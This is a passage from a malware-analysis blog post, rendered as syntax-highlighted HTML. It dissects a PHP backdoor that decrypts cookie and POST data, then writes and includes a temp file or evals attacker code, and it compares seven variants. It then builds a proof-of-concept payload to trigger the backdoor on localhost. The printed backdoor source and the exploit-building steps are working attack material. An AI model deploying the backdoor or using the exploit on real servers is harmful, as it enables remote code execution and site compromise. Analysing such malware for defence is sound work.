font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'write'</span>](<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'content'</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb22-5">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">include</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb22-6">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span>D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'delete'</span>](<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb22-7">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">exit</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb22-8">    }</span>
<span id="cb22-9">}</span></code></pre></div></div>
<p>The decrypted array must have the following structure:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb23" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb23-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">array</span>(</span>
<span id="cb23-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"salt"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb23-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"write"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb23-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"content"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb23-5">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"delete"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb23-6">)</span></code></pre></div></div>
<p>The function creates a temporary file using <a href="https://www.php.net/manual/en/function.sys-get-temp-dir.php"><code>sys_get_temp_dir()</code></a> and the <a href="https://www.php.net/manual/en/function.crc32.php">crc32()</a> <em>hash</em> of the <code>salt</code> value.</p>
<p>Next, it dynamically calls the function specified in the <code>write</code> key with the filename and <code>content</code> as arguments. This approach likely uses a function like <a href="https://www.php.net/manual/en/function.file-put-contents.php"><code>file_put_contents()</code></a> without explicitly naming it, helping the malware evade detection that looks for suspicious function calls.</p>
<p>The code then <a href="https://www.php.net/manual/en/function.include.php">include</a>s the newly created temporary file, executing whatever PHP code was written to it.</p>
<p>Finally, it attempts to <code>delete</code> the file (probably using the <a href="https://www.php.net/manual/en/function.unlink.php"><code>unlink()</code></a> function) and exits the script to prevent further execution.</p>
</section>
<section id="stealth-techniques" class="level4">
<h4 class="anchored" data-anchor-id="stealth-techniques">Stealth Techniques</h4>
<p>The code uses the “at sign” (<code>@</code>) operator in several places to suppress error messages.</p>
<p>According to the <a href="https://www.php.net/manual/en/language.operators.errorcontrol.php">Error Control Operators</a> section in the PHP manual:</p>
<blockquote class="blockquote">
<p>PHP supports one error control operator: the at sign (@). When prepended to an expression in PHP, any diagnostic error that might be generated by that expression will be suppressed.</p>
</blockquote>
<p>This technique helps the malware operate silently without generating error messages that might alert administrators.</p>
</section>
<section id="summary" class="level4">
<h4 class="anchored" data-anchor-id="summary">Summary</h4>
<p>After deobfuscation and renaming for clarity, the full malware functionality becomes much more clear:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb24" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb24-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&lt;?php</span></span>
<span id="cb24-2"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">class_exists</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Malware'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span>) {</span>
<span id="cb24-3">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> init() {</span>
<span id="cb24-4">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$obj</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span> Malware()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-5">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$obj</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">null</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-6">    }</span>
<span id="cb24-7">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> Malware {</span>
<span id="cb24-8">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> execute() {</span>
<span id="cb24-9">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">is_array</span>(Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>)) {</span>
<span id="cb24-10">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">sys_get_temp_dir</span>() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'/'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">crc32</span>(Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'salt'</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-11">                <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span>Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'write'</span>](<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'content'</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-12">                <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">include</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-13">                <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span>Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'delete'</span>](<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-14">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">exit</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-15">            }</span>
<span id="cb24-16">        }</span>
<span id="cb24-17">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__destruct</span>() {</span>
<span id="cb24-18">            Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">unserialize</span>(Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-19">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;execute()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-20">        }</span>
<span id="cb24-21">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">xor</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>) {</span>
<span id="cb24-22">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">str_repeat</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">intval</span>(<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>]) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>)) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-23">        }</span>
<span id="cb24-24">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> b64_decode(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>) {</span>
<span id="cb24-25">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">array_map</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'base64_decode'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> [<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-26">        }</span>
<span id="cb24-27">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__construct</span>() {</span>
<span id="cb24-28">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-29">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_post</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_POST</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-30">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_cookie</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_COOKIE</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-31">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'5db5f694-e20d-4e23-b0b6-4e7f09687865'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-32">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_cookie</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'5db5'</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-33">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">empty</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span>)) {</span>
<span id="cb24-34">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">explode</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">','</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-35">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">foreach</span> (<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">as</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$index_name</span>) {</span>
<span id="cb24-36">                    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_cookie</span>[<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$index_name</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-37">                    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_post</span>[<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$index_name</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-38">                }</span>
<span id="cb24-39">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;b64_decode(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-40">            }</span>
<span id="cb24-41">            Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">xor</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-42">        }</span>
<span id="cb24-43">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">62542</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-44">    }</span>
<span id="cb24-45">    init()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb24-46">}</span></code></pre></div></div>
</section>
</section>
<section id="interpolate" class="level3">
<h3 class="anchored" data-anchor-id="interpolate">Interpolate</h3>
<p>After understanding the core functionality, I compared all seven code snippets to identify variations. While most code elements remained identical across versions (with only the UUID keys changing), I discovered some differences in the <code>execute</code> function.</p>
<p>Some variants used a more direct approach to <em>execute</em> the payload:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb25" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb25-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> execute() {</span>
<span id="cb25-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">is_array</span>(Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>)) {</span>
<span id="cb25-3">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_to_eval</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">str_replace</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"&lt;"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'?php'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> Malware::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'content'</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb25-4">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">eval</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_to_eval</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb25-5">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">exit</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb25-6">    }</span>
<span id="cb25-7">}</span></code></pre></div></div>
<p>In this implementation, the malware directly evaluates the content using the <a href="https://www.php.net/manual/en/function.eval.php"><code>eval()</code></a> function after stripping any PHP opening tags. I assume this was an earlier version of the malware, as it uses a more straightforward but easily detectable approach.</p>
<p>Warning extracted from the PHP manual:</p>
<div class="callout callout-style-default callout-warning callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Warning
</div>
</div>
<div class="callout-body-container callout-body">
<p>The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.</p>
</div>
</div>
<p>My analysis of all seven variants revealed this pattern:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb26" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb26-1">1_deobfuscated.php -&gt; version 2 (include)</span>
<span id="cb26-2">2_deobfuscated.php -&gt; version 1 (eval)</span>
<span id="cb26-3">3_deobfuscated.php -&gt; version 1 (eval)</span>
<span id="cb26-4">4_deobfuscated.php -&gt; version 1 (eval)</span>
<span id="cb26-5">5_deobfuscated.php -&gt; version 2 (include)</span>
<span id="cb26-6">6_deobfuscated.php -&gt; version 1 (eval)</span>
<span id="cb26-7">7_deobfuscated.php -&gt; version 2 (include)</span></code></pre></div></div>
<p>This suggests the malware authors evolved their code over time, moving from the more detectable <code>eval()</code> approach to the more subtle temporary file method, likely to evade security scanners that specifically flag direct use of the <code>eval()</code> function.</p>
</section>
</section>
<section id="weaponizing-the-backdoor" class="level2">
<h2 class="anchored" data-anchor-id="weaponizing-the-backdoor">Weaponizing the backdoor</h2>
<p>For this proof of concept, I’ll host the malware on localhost using PHP’s built-in web server:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb27" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb27-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">php</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-S</span> localhost:8000 malware.php</span></code></pre></div></div>
<p>I modified the UUID key in the malware code to <code>"00000000-0000-0000-0000-000000000000"</code> for testing purposes.</p>
<section id="exploit-development-strategy" class="level3">
<h3 class="anchored" data-anchor-id="exploit-development-strategy">Exploit Development Strategy</h3>
<p>The plan for building the exploit is just to reverse all the previous steps. Here’s the conceptual flow:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb28" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb28-1">exploit:</span>
<span id="cb28-2">payload_parts -&gt; payload_base64 -&gt; payload_encrypted -&gt; payload_serialized -&gt; payload_unserialized</span>
<span id="cb28-3"></span>
<span id="cb28-4">builder:</span>
<span id="cb28-5">payload_unserialized -&gt; payload_serialized -&gt; payload_encrypted -&gt; payload_base64 -&gt; payload_parts</span></code></pre></div></div>
<p>The unserialized payload requires a specific format before code execution:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb29" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb29-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">array</span>(</span>
<span id="cb29-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"salt"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb29-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"write"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb29-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"content"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb29-5">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"delete"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb29-6">)</span></code></pre></div></div>
<p>We can use <code>file_put_contents</code> for the <em>write</em> function and <code>unlink</code> for the <em>delete</em> function. The <em>salt</em> can be any random data, and the <em>content</em> will be our malicious payload to execute. This gives us:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb30" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb30-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">array</span>(</span>
<span id="cb30-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"salt"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"asdf"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb30-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"write"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"file_put_contents"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb30-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"content"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"&lt;?php echo 'pwn' ?&gt;"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb30-5">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"delete"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"unlink"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb30-6">)</span></code></pre></div></div>
</section>
<section id="serialization" class="level3">
<h3 class="anchored" data-anchor-id="serialization">Serialization</h3>
<p>I decided to write a simple python script to join everything together.</p>
<p>The payload array needs to be serialized so it can be properly unserialized by the malware. While there are many serialization examples available online, here’s a minimal implementation for our specific case:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb31" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb31-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> php_serialize(obj):</span>
<span id="cb31-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">"""</span></span>
<span id="cb31-3"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">    Simple PHP-like serialization for basic data types</span></span>
<span id="cb31-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">    Supports strings, integers, and dictionaries</span></span>
<span id="cb31-5"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">    """</span></span>
<span id="cb31-6">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">isinstance</span>(obj, <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">str</span>):</span>
<span id="cb31-7">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f's:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(obj)<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">:"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>obj<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
